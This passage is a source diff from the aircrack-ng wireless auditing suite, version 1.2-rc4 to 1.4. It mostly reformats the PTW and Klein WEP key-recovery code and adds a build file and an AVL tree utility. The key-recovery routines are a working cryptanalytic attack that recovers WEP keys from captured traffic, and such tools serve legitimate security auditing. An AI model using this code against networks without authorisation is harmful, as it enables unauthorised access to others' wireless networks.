+		for (i = 0; i < n; i++)
+		{
 			key[keybyte] = i;
-			if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sum+i%n, strongbytes, bf, validchars)) {
+			if (doRound(sortedtable,
+						keybyte + 1,
+						fixat,
+						fixvalue,
+						searchborders,
+						key,
+						keylen,
+						state,
+						sum + i % n,
+						strongbytes,
+						bf,
+						validchars))
+			{
 				return 1;
 			}
 		}
 		return 0;
-	} else if (keybyte == fixat) {
-		key[keybyte] = fixvalue-sum;
-		return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes, bf, validchars);
-	} else if (strongbytes[keybyte] == 1) {
+	}
+	else if (keybyte == fixat)
+	{
+		key[keybyte] = fixvalue - sum;
+		return doRound(sortedtable,
+					   keybyte + 1,
+					   fixat,
+					   fixvalue,
+					   searchborders,
+					   key,
+					   keylen,
+					   state,
+					   fixvalue,
+					   strongbytes,
+					   bf,
+					   validchars);
+	}
+	else if (strongbytes[keybyte] == 1)
+	{
 		// printf("assuming byte %d to be strong\n", keybyte);
 		tmp = 3 + keybyte;
-		for (i = keybyte-1; i >= 1; i--) {
+		for (i = keybyte - 1; i >= 1; i--)
+		{
 			tmp += 3 + key[i] + i;
-			key[keybyte] = n-tmp;
-			if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (n-tmp+sum)%n, strongbytes, bf, validchars) == 1) {
+			key[keybyte] = n - tmp;
+			if (doRound(sortedtable,
+						keybyte + 1,
+						fixat,
+						fixvalue,
+						searchborders,
+						key,
+						keylen,
+						state,
+						(n - tmp + sum) % n,
+						strongbytes,
+						bf,
+						validchars)
+				== 1)
+			{
 				printf("hit with strongbyte for keybyte %d\n", keybyte);
 				return 1;
 			}
 		}
 		return 0;
-	} else {
-		for (i = 0; i < searchborders[keybyte]; i++) {
+	}
+	else
+	{
+		for (i = 0; i < searchborders[keybyte]; i++)
+		{
 			key[keybyte] = sortedtable[keybyte][i].b - sum;
-			if(!opt.is_quiet)
+			if (!opt.is_quiet)
 			{
 				depth[keybyte] = i;
 				keytable[keybyte][i].b = key[keybyte];
 			}
-			if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes, bf, validchars)) {
+			if (doRound(sortedtable,
+						keybyte + 1,
+						fixat,
+						fixvalue,
+						searchborders,
+						key,
+						keylen,
+						state,
+						sortedtable[keybyte][i].b,
+						strongbytes,
+						bf,
+						validchars))
+			{
 				return 1;
 			}
 		}
@@ -499,20 +617,33 @@
 /*
  * Do the actual computation of the key
  */
-static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit, int * bf, int validchars[][n]) {
-	int i,j;
+static int doComputation(PTW_attackstate * state,
+						 uint8_t * key,
+						 int keylen,
+						 PTW_tableentry table[][n],
+						 sorthelper * sh2,
+						 int * strongbytes,
+						 int keylimit,
+						 int * bf,
+						 int validchars[][n])
+{
+	int i, j;
 	int choices[KEYHSBYTES];
 	int prod;
 	int fixat;
 	int fixvalue;
 
-	if(!opt.is_quiet)
+	if (!opt.is_quiet)
 		memcpy(keytable, table, sizeof(PTW_tableentry) * n * keylen);
 
-	for (i = 0; i < keylen; i++) {
-		if (strongbytes[i] == 1) {
+	for (i = 0; i < keylen; i++)
+	{
+		if (strongbytes[i] == 1)
+		{
 			choices[i] = i;
-		} else {
+		}
+		else
+		{
 			choices[i] = 1;
 		}
 	}
@@ -522,28 +653,47 @@
 	fixvalue = 0;
 	max_tries = keylimit;
 
-	while(prod < keylimit) {
-		if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes, bf, validchars) == 1) {
+	while (prod < keylimit)
+	{
+		if (doRound(table,
+					0,
+					fixat,
+					fixvalue,
+					choices,
+					key,
+					keylen,
+					state,
+					0,
+					strongbytes,
+					bf,
+					validchars)
+			== 1)
+		{
 			// printf("hit with %d choices\n", prod);
-			if(!opt.is_quiet)
-				show_wep_stats( keylen -1, 1, keytable, choices, depth, tried );
+			if (!opt.is_quiet)
+				show_wep_stats(keylen - 1, 1, keytable, choices, depth, tried);
 			return 1;
 		}
-		while( (i < keylen * (n-1)) && ((strongbytes[sh2[i].keybyte] == 1) || (bf[sh2[i].keybyte] == 1) ) ) {
+		while ((i < keylen * (n - 1)) && ((strongbytes[sh2[i].keybyte] == 1)
+										  || (bf[sh2[i].keybyte] == 1)))
+		{
 			i++;
 		}
-		if(i >= (keylen * (n-1)))
+		if (i >= (keylen * (n - 1)))
 		{
 			break;
 		}
 		choices[sh2[i].keybyte]++;
 		fixat = sh2[i].keybyte;
-		// printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]);
+		// printf("choices[%d] is now %d\n", sh2[i].keybyte,
+		// choices[sh2[i].keybyte]);
 		fixvalue = sh2[i].value;
 		prod = 1;
-		for (j = 0; j < keylen; j++) {
+		for (j = 0; j < keylen; j++)
+		{
 			prod *= choices[j];
-			if (bf[j] == 1) {
+			if (bf[j] == 1)
+			{
 				prod *= n;
 			}
 		}
@@ -555,39 +705,44 @@
 		*/
 		i++;
 
-		if(!opt.is_quiet)
-			show_wep_stats( keylen -1, 0, keytable, choices, depth, tried );
-
+		if (!opt.is_quiet)
+			show_wep_stats(keylen - 1, 0, keytable, choices, depth, tried);
 	}
-	if(!opt.is_quiet)
-		show_wep_stats( keylen -1, 1, keytable, choices, depth, tried );
+	if (!opt.is_quiet)
+		show_wep_stats(keylen - 1, 1, keytable, choices, depth, tried);
 	return 0;
 }
 
-
 /*
  * Guess which key bytes could be strong and start actual computation of the key
  */
-int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit, int * bf, int validchars[][n], int attacks) {
+int PTW_computeKey(PTW_attackstate * state,
+				   uint8_t * keybuf,
+				   int keylen,
+				   int testlimit,
+				   int * bf,
+				   int validchars[][n],
+				   int attacks)
+{
 	int strongbytes[KEYHSBYTES];
 	double normal[KEYHSBYTES];
 	double ausreisser[KEYHSBYTES];
 	doublesorthelper helper[KEYHSBYTES];
 	int simple, onestrong, twostrong;
-	int i,j;
+	int i, j;
 #ifdef USE_AMD64_RC4_OPTIMIZED
 	/*
 	 * The 64-bit SSE2-optimized rc4test() requires this buffer to be
 	 * aligned at 3 bytes.
 	 */
-	uint8_t fullkeybuf_unaligned[PTW_KSBYTES+13] __attribute__((aligned(16)));
-	uint8_t *fullkeybuf = &fullkeybuf_unaligned[13];
+	uint8_t fullkeybuf_unaligned[PTW_KSBYTES + 13] __attribute__((aligned(16)));
+	uint8_t * fullkeybuf = &fullkeybuf_unaligned[13];
 #else
 	uint8_t fullkeybuf[PTW_KSBYTES];
 #endif
 	uint8_t guessbuf[PTW_KSBYTES];
-	sorthelper(*sh)[n-1];
-	PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
+	sorthelper(*sh)[n - 1];
+	PTW_tableentry(*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
 
 #ifdef USE_AMD64_RC4_OPTIMIZED
 	/*
@@ -600,103 +755,148 @@
 #endif
 		state->rc4test = rc4test;
 
-	tried=0;
+	tried = 0;
 	sh = NULL;
 
-	if (table == NULL) {
+	if (table == NULL)
+	{
 		printf("could not allocate memory\n");
 		exit(-1);
 	}
 
-	if(!(attacks & NO_KLEIN))
+	if (!(attacks & NO_KLEIN))
 	{
 		// Try the original klein attack first
-		for (i = 0; i < keylen; i++) {
+		for (i = 0; i < keylen; i++)
+		{
 			memset(&table[i][0], 0, sizeof(PTW_tableentry) * n);
-			for (j = 0; j < n; j++) {
+			for (j = 0; j < n; j++)
+			{
 				table[i][j].b = j;
 			}
-			for (j = 0; j < state->packets_collected; j++) {
+			for (j = 0; j < state->packets_collected; j++)
+			{
 				// fullkeybuf[0] = state->allsessions[j].iv[0];
-				memcpy(fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t));
-				guesskeybytes(i+3, fullkeybuf, state->allsessions[j].keystream, guessbuf, 1);
+				memcpy(
+					fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t));
+				guesskeybytes(i + 3,
+							  fullkeybuf,
+							  state->allsessions[j].keystream,
+							  guessbuf,
+							  1);
 				table[i][guessbuf[0]].votes += state->allsessions[j].weight;
 			}
 			qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
 			j = 0;
-			while(!validchars[i][table[i][j].b]) {
+			while (!validchars[i][table[i][j].b])
+			{
 				j++;
 			}
 			// printf("guessing i = %d, b = %d\n", i, table[0][0].b);
-			fullkeybuf[i+3] = table[i][j].b;
+			fullkeybuf[i + 3] = table[i][j].b;
 		}
-		if (correct(state, &fullkeybuf[3], keylen)) {
+		if (correct(state, &fullkeybuf[3], keylen))
+		{
 			memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(uint8_t));
 			// printf("hit without correction\n");
 			return 1;
 		}
 	}
 
-
-	if(!(attacks & NO_PTW))
+	if (!(attacks & NO_PTW))
 	{
 		memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
 
-		onestrong = (testlimit/10)*2;
-		twostrong = (testlimit/10)*1;
+		onestrong = (testlimit / 10) * 2;
+		twostrong = (testlimit / 10) * 1;
 		simple = testlimit - onestrong - twostrong;
 
 		// now, sort the table
-		for (i = 0; i < keylen; i++) {
+		for (i = 0; i < keylen; i++)
+		{
 			qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
 			strongbytes[i] = 0;
 		}
 
-		sh = alloca(sizeof(sorthelper) * (n-1) * keylen);
-		if (sh == NULL) {
+		sh = alloca(sizeof(sorthelper) * (n - 1) * keylen);
+		if (sh == NULL)
+		{
 			printf("could not allocate memory\n");
 			exit(-1);
 		}
 
-
-		for (i = 0; i < keylen; i++) {
-			for (j = 1; j < n; j++) {
-				sh[i][j-1].distance = table[i][0].votes - table[i][j].votes;
-				sh[i][j-1].value = table[i][j].b;
-				sh[i][j-1].keybyte = i;
+		for (i = 0; i < keylen; i++)
+		{
+			for (j = 1; j < n; j++)
+			{
+				sh[i][j - 1].distance = table[i][0].votes - table[i][j].votes;
+				sh[i][j - 1].value = table[i][j].b;
+				sh[i][j - 1].keybyte = i;
 			}
 		}
-		qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper);
-
-
-		if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple, bf, validchars)) {
+		qsort(sh, (n - 1) * keylen, sizeof(sorthelper), &comparesorthelper);
+
+		if (doComputation(state,
+						  keybuf,
+						  keylen,
+						  table,
+						  (sorthelper *) sh,
+						  strongbytes,
+						  simple,
+						  bf,
+						  validchars))
+		{
 			return 1;
 		}
 
 		// Now one strong byte
 		getdrv(state->table, keylen, normal, ausreisser);
-		for (i = 0; i < keylen-1; i++) {
-			helper[i].keybyte = i+1;
-			helper[i].difference = normal[i+1] - ausreisser[i+1];
+		for (i = 0; i < keylen - 1; i++)
+		{
+			helper[i].keybyte = i + 1;
+			helper[i].difference = normal[i + 1] - ausreisser[i + 1];
 		}
-		qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper);
+		qsort(helper,
+			  keylen - 1,
+			  sizeof(doublesorthelper),
+			  &comparedoublesorthelper);
 		// do not use bf-bytes as strongbytes
 		i = 0;
-		while(bf[helper[i].keybyte] == 1) {
+		while (bf[helper[i].keybyte] == 1)
+		{
 			i++;
 		}
 		strongbytes[helper[i].keybyte] = 1;
-		if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong, bf, validchars)) {
+		if (doComputation(state,
+						  keybuf,
+						  keylen,
+						  table,
+						  (sorthelper *) sh,
+						  strongbytes,
+						  onestrong,
+						  bf,
+						  validchars))
+		{
 			return 1;
 		}
 
 		// two strong bytes
 		i++;
-		while(bf[helper[i].keybyte] == 1) {
+		while (bf[helper[i].keybyte] == 1)
+		{
 			i++;
 		}
 		strongbytes[helper[i].keybyte] = 1;
-		if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong, bf, validchars)) {
+		if (doComputation(state,
+						  keybuf,
+						  keylen,
+						  table,
+						  (sorthelper *) sh,
+						  strongbytes,
+						  twostrong,
+						  bf,
+						  validchars))
+		{
 			return 1;
 		}
 	}
@@ -709,43 +909,65 @@
  * iv - IV used in the session
  * keystream - recovered keystream from the session
  */
-int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream, int * weight, int total) {
-	int i,j;
+int PTW_addsession(PTW_attackstate * state,
+				   uint8_t * iv,
+				   uint8_t * keystream,
+				   int * weight,
+				   int total)
+{
+	int i, j;
 	int il;
 	int ir;
 	uint8_t buf[PTW_KEYHSBYTES];
 
 	i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
-	il = i/8;
-	ir = 1 << (i%8);
-	if ((state->seen_iv[il] & ir) == 0) {
+	il = i / 8;
+	ir = 1 << (i % 8);
+	if ((state->seen_iv[il] & ir) == 0)
+	{
 		state->seen_iv[il] |= ir;
-		for (j = 0; j < total; j++) {
+		for (j = 0; j < total; j++)
+		{
 			state->packets_collected++;
-			guesskeybytes(IVBYTES, iv, &keystream[KSBYTES*j], buf, PTW_KEYHSBYTES);
-			for (i = 0; i < KEYHSBYTES; i++) {
+			guesskeybytes(
+				IVBYTES, iv, &keystream[KSBYTES * j], buf, PTW_KEYHSBYTES);
+			for (i = 0; i < KEYHSBYTES; i++)
+			{
 				state->table[i][buf[i]].votes += weight[j];
 			}
-			if (state->allsessions_size < state->packets_collected) {
+			if (state->allsessions_size < state->packets_collected)
+			{
 				state->allsessions_size = state->allsessions_size << 1;
-				state->allsessions = realloc(state->allsessions, state->allsessions_size * sizeof(PTW_session));
-				if (state->allsessions == NULL) {
+				state->allsessions
+					= realloc(state->allsessions,
+							  state->allsessions_size * sizeof(PTW_session));
+				if (state->allsessions == NULL)
+				{
 					printf("could not allocate memory\n");
 					exit(-1);
 				}
 			}
-			memcpy(state->allsessions[state->packets_collected-1].iv, iv, IVBYTES);
-			memcpy(state->allsessions[state->packets_collected-1].keystream, &keystream[KSBYTES*j], KSBYTES);
-			state->allsessions[state->packets_collected-1].weight = weight[j];
+			memcpy(state->allsessions[state->packets_collected - 1].iv,
+				   iv,
+				   IVBYTES);
+			memcpy(state->allsessions[state->packets_collected - 1].keystream,
+				   &keystream[KSBYTES * j],
+				   KSBYTES);
+			state->allsessions[state->packets_collected - 1].weight = weight[j];
 		}
-		if ((state->sessions_collected < CONTROLSESSIONS)) {
+		if ((state->sessions_collected < CONTROLSESSIONS))
+		{
 			memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
-			memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES);
+			memcpy(state->sessions[state->sessions_collected].keystream,
+				   keystream,
+				   KSBYTES);
 			state->sessions_collected++;
 		}
 
 		return 1;
-	} else {
+	}
+	else
+	{
 		return 0;
 	}
 }
@@ -753,22 +975,27 @@
 /*
  * Allocate a new attackstate
  */
-PTW_attackstate * PTW_newattackstate() {
-	int i,k;
+PTW_attackstate * PTW_newattackstate()
+{
+	int i, k;
 	PTW_attackstate * state = NULL;
 	state = malloc(sizeof(PTW_attackstate));
-	if (state == NULL) {
+	if (state == NULL)
+	{
 		return NULL;
 	}
 	memset(state, 0, sizeof(PTW_attackstate));
-	for (i = 0; i < PTW_KEYHSBYTES; i++) {
-		for (k = 0; k < n; k++) {
+	for (i = 0; i < PTW_KEYHSBYTES; i++)
+	{
+		for (k = 0; k < n; k++)
+		{
 			state->table[i][k].b = k;
 		}
 	}
 	state->allsessions = malloc(4096 * sizeof(PTW_session));
 	state->allsessions_size = 4096;
-	if (state->allsessions == NULL) {
+	if (state->allsessions == NULL)
+	{
 		printf("could not allocate memory\n");
 		exit(-1);
 	}
@@ -779,7 +1006,8 @@
 /*
  * Free an allocated attackstate
  */
-void PTW_freeattackstate(PTW_attackstate * state) {
+void PTW_freeattackstate(PTW_attackstate * state)
+{
 	free(state->allsessions);
 	free(state);
 	return;

aircrack-ng-1.2-rc4.tar.gz/src/aircrack-ptw-lib.h -> aircrack-ng-1.4.tar.gz/src/aircrack-ptw-lib.h Changed

@@ -1,5 +1,6 @@
 /*
- *  Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann.
+ *  Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp
+ * Weinmann.
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
@@ -13,7 +14,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -43,7 +44,8 @@
 // Its now the number of sessions for selecting 10 at a random position
 #define PTW_CONTROLSESSIONS 10000
 
-// The maximum possible length of the main key, 13 is the maximum for a 104 bit key
+// The maximum possible length of the main key, 13 is the maximum for a 104 bit
+// key
 #define PTW_KEYHSBYTES 29
 
 // How long the IV is, 3 is the default value for WEP
@@ -57,41 +59,47 @@
 
 // distinguish klein and ptw
 #define NO_KLEIN 0x01
-#define NO_PTW   0x02
+#define NO_PTW 0x02
 
 // We use this to keep track of the outputs of A_i
-typedef struct {
-	// How often the value b appeard as an output of A_i
+typedef struct
+{
+	// How often the value b appeared as an output of A_i
 	int votes;
 
 	uint8_t b;
 } PTW_tableentry;
 
 // A recovered session
-typedef struct {
+typedef struct
+{
 	// The IV used in this session
-        uint8_t iv[PTW_IVBYTES];
+	uint8_t iv[PTW_IVBYTES];
 	// The keystream used in this session
-        uint8_t keystream[PTW_KSBYTES];
+	uint8_t keystream[PTW_KSBYTES];
 	// Weight for this session
 	int weight;
 } PTW_session;
 
-typedef int (*rc4test_func)(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream);
+typedef int (*rc4test_func)(uint8_t * key,
+							int keylen,
+							uint8_t * iv,
+							uint8_t * keystream);
 
 // The state of an attack
 // You should usually never modify these values manually
-typedef struct {
+typedef struct
+{
 	// How many unique packets or IVs have been collected
-        int packets_collected;
+	int packets_collected;
 	// Table to check for duplicate IVs
-        uint8_t seen_iv[PTW_IVTABLELEN];
+	uint8_t seen_iv[PTW_IVTABLELEN];
 	// How many sessions for checking a guessed key have been collected
-        int sessions_collected;
+	int sessions_collected;
 	// The actual recovered sessions
-        PTW_session sessions[PTW_CONTROLSESSIONS];
+	PTW_session sessions[PTW_CONTROLSESSIONS];
 	// The table with votes for the keybytesums
-        PTW_tableentry table[PTW_KEYHSBYTES][PTW_n];
+	PTW_tableentry table[PTW_KEYHSBYTES][PTW_n];
 	// Sessions for the original klein attack
 	PTW_session * allsessions;
 	int allsessions_size;
@@ -99,9 +107,10 @@
 	rc4test_func rc4test;
 } PTW_attackstate;
 
-PTW_attackstate * PTW_newattackstate();
+PTW_attackstate * PTW_newattackstate(void);
 void PTW_freeattackstate(PTW_attackstate *);
 int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *, int *, int);
-int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int, int *, int [][PTW_n], int attacks);
+int PTW_computeKey(
+	PTW_attackstate *, uint8_t *, int, int, int *, int[][PTW_n], int attacks);
 
 #endif

aircrack-ng-1.4.tar.gz/src/aircrack-util Added

aircrack-ng-1.4.tar.gz/src/aircrack-util/Makefile.am Added

@@ -0,0 +1,134 @@
+# Aircrack-ng
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(LIBNL_CFLAGS)
+
+LIBAIRCRACK_CRYPTO_PATH = $(abs_top_builddir)/src/aircrack-crypto/
+
+if ARM
+TRAMPOLINE = trampoline_arm.c
+endif
+if PPC
+TRAMPOLINE = trampoline_ppc.c
+endif
+if X86
+TRAMPOLINE = trampoline_x86.c
+endif
+
+if !ARM
+if !PPC
+if !X86
+TRAMPOLINE = trampoline_stubs.c
+endif
+endif
+endif
+
+if HAVE_HWLOC
+CPUSET = cpuset_hwloc.c
+endif
+if !HAVE_HWLOC
+CPUSET = cpuset_pthread.c
+endif
+
+libaircrack_util_la_SOURCES = common.c \
+							  console.c \
+							  crypto_engine_loader.c \
+							  mcs_index_rates.c \
+							  simd_cpuid.c \
+							  $(TRAMPOLINE) \
+							  verifyssid.c \
+							  avl_tree.c \
+							  $(CPUSET)
+libaircrack_util_la_CFLAGS  = "-DLIBAIRCRACK_CRYPTO_PATH=\"$(LIBAIRCRACK_CRYPTO_PATH)\"" \
+                              "-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
+                              "-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
+                              "-DLIBDIR=\"$(libdir)\""
+if CYGWIN
+libaircrack_util_la_LIBADD = -lshlwapi
+endif
+
+if STATIC_BUILD
+libaircrack_util_la_CFLAGS += -DSTATIC_BUILD
+endif
+
+if HAVE_HWLOC
+libaircrack_util_la_CFLAGS += $(HWLOC_CFLAGS)
+if !CYGWIN
+if !STATIC_HWLOC
+libaircrack_util_la_LIBADD = $(HWLOC_LIBS)
+endif
+endif
+if CYGWIN
+if !STATIC_HWLOC
+libaircrack_util_la_LIBADD += $(HWLOC_LIBS)
+endif
+endif
+endif
+
+noinst_LTLIBRARIES = libaircrack-util.la
+
+EXTRA_DIST = common.c \
+             common.h \
+             console.c \
+             console.h \
+			 cpuset.h \
+			 cpuset_hwloc.c \
+			 cpuset_pthread.c \
+             crypto_engine_loader.c \
+             crypto_engine_loader.h \
+             mcs_index_rates.c \
+             mcs_index_rates.h \
+             simd_cpuid.c \
+             simd_cpuid.h \
+             trampoline.c \
+             trampoline.h \
+             trampoline_x86.c \
+             trampoline_arm.c \
+             trampoline_ppc.c \
+             trampoline_stubs.c \
+             verifyssid.c \
+             verifyssid.h \
+			 avl_tree.c \
+			 avl_tree.h
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-util/avl_tree.c Added

@@ -0,0 +1,708 @@
+/**
+ * collectd - src/utils_avltree.c
+ * Copyright (C) 2006,2007  Florian octo Forster
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ *
+ * Authors:
+ *   Florian octo Forster <octo at collectd.org>
+ **/
+
+#include <assert.h>
+#include <stdlib.h>
+
+#include "avl_tree.h"
+
+#define BALANCE(n)                                                             \
+	((((n)->left == NULL) ? 0 : (n)->left->height)                             \
+	 - (((n)->right == NULL) ? 0 : (n)->right->height))
+
+/*
+ * private data types
+ */
+struct c_avl_node_s
+{
+	void * key;
+	void * value;
+
+	int height;
+	struct c_avl_node_s * left;
+	struct c_avl_node_s * right;
+	struct c_avl_node_s * parent;
+};
+typedef struct c_avl_node_s c_avl_node_t;
+
+struct c_avl_tree_s
+{
+	c_avl_node_t * root;
+	int (*compare)(const void *, const void *);
+	int size;
+};
+
+struct c_avl_iterator_s
+{
+	c_avl_tree_t * tree;
+	c_avl_node_t * node;
+};
+
+/*
+ * private functions
+ */
+#if 0
+static void verify_tree (c_avl_node_t *n)
+{
+	if (n == NULL)
+		return;
+
+	verify_tree (n->left);
+	verify_tree (n->right);
+
+	assert ((BALANCE (n) >= -1) && (BALANCE (n) <= 1));
+	assert ((n->parent == NULL) || (n->parent->right == n) || (n->parent->left == n));
+} /* void verify_tree */
+#else
+#define verify_tree(n) /**/
+#endif
+
+static void free_node(c_avl_node_t * n)
+{
+	if (n == NULL) return;
+
+	if (n->left != NULL) free_node(n->left);
+	if (n->right != NULL) free_node(n->right);
+
+	free(n);
+}
+
+static int calc_height(c_avl_node_t * n)
+{
+	int height_left;
+	int height_right;
+
+	if (n == NULL) return 0;
+
+	height_left = (n->left == NULL) ? 0 : n->left->height;
+	height_right = (n->right == NULL) ? 0 : n->right->height;
+
+	return ((height_left > height_right) ? height_left : height_right) + 1;
+} /* int calc_height */
+
+static c_avl_node_t * search(c_avl_tree_t * t, const void * key)
+{
+	c_avl_node_t * n;
+	int cmp;
+
+	n = t->root;
+	while (n != NULL)
+	{
+		cmp = t->compare(key, n->key);
+		if (cmp == 0)
+			return n;
+		else if (cmp < 0)
+			n = n->left;
+		else
+			n = n->right;
+	}
+
+	return NULL;
+}
+
+/*         (x)             (y)
+ *        /   \           /   \
+ *     (y)    /\         /\    (x)
+ *    /   \  /_c\  ==>  / a\  /   \
+ *   /\   /\           /____\/\   /\
+ *  / a\ /_b\               /_b\ /_c\
+ * /____\
+ */
+static c_avl_node_t * rotate_right(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	c_avl_node_t * p;
+	c_avl_node_t * y;
+	c_avl_node_t * b;
+
+	assert(x != NULL);
+	assert(x->left != NULL);
+
+	p = x->parent;
+	y = x->left;
+	b = y->right;
+
+	x->left = b;
+	if (b != NULL) b->parent = x;
+
+	x->parent = y;
+	y->right = x;
+
+	y->parent = p;
+	assert((p == NULL) || (p->left == x) || (p->right == x));
+	if (p == NULL)
+		t->root = y;
+	else if (p->left == x)
+		p->left = y;
+	else
+		p->right = y;
+
+	x->height = calc_height(x);
+	y->height = calc_height(y);
+
+	return y;
+} /* void rotate_right */
+
+/*
+ *    (x)                   (y)
+ *   /   \                 /   \
+ *  /\    (y)           (x)    /\
+ * /_a\  /   \   ==>   /   \  / c\
+ *      /\   /\       /\   /\/____\
+ *     /_b\ / c\     /_a\ /_b\
+ *         /____\
+ */
+static c_avl_node_t * rotate_left(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	c_avl_node_t * p;
+	c_avl_node_t * y;
+	c_avl_node_t * b;
+
+	assert(x != NULL);
+	assert(x->right != NULL);
+
+	p = x->parent;
+	y = x->right;
+	b = y->left;
+
+	x->right = b;
+	if (b != NULL) b->parent = x;
+
+	x->parent = y;
+	y->left = x;
+
+	y->parent = p;
+	assert((p == NULL) || (p->left == x) || (p->right == x));
+	if (p == NULL)
+		t->root = y;
+	else if (p->left == x)
+		p->left = y;
+	else
+		p->right = y;
+
+	x->height = calc_height(x);
+	y->height = calc_height(y);
+
+	return y;
+} /* void rotate_left */
+
+static c_avl_node_t * rotate_left_right(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	rotate_left(t, x->left);
+	return rotate_right(t, x);
+} /* void rotate_left_right */
+
+static c_avl_node_t * rotate_right_left(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	rotate_right(t, x->right);
+	return rotate_left(t, x);
+} /* void rotate_right_left */
+
+static void rebalance(c_avl_tree_t * t, c_avl_node_t * n)
+{
+	int b_top;
+	int b_bottom;
+
+	while (n != NULL)
+	{
+		b_top = BALANCE(n);
+		assert((b_top >= -2) && (b_top <= 2));
+
+		if (b_top == -2)
+		{
+			assert(n->right != NULL);
+			b_bottom = BALANCE(n->right);
+			assert((b_bottom >= -1) && (b_bottom <= 1));
+			if (b_bottom == 1)
+				n = rotate_right_left(t, n);
+			else
+				n = rotate_left(t, n);
+		}
+		else if (b_top == 2)
+		{
+			assert(n->left != NULL);
+			b_bottom = BALANCE(n->left);
+			assert((b_bottom >= -1) && (b_bottom <= 1));
+			if (b_bottom == -1)
+				n = rotate_left_right(t, n);
+			else
+				n = rotate_right(t, n);
+		}
+		else
+		{
+			int height = calc_height(n);
+			if (height == n->height) break;
+			n->height = height;
+		}
+
+		assert(n->height == calc_height(n));
+
+		n = n->parent;
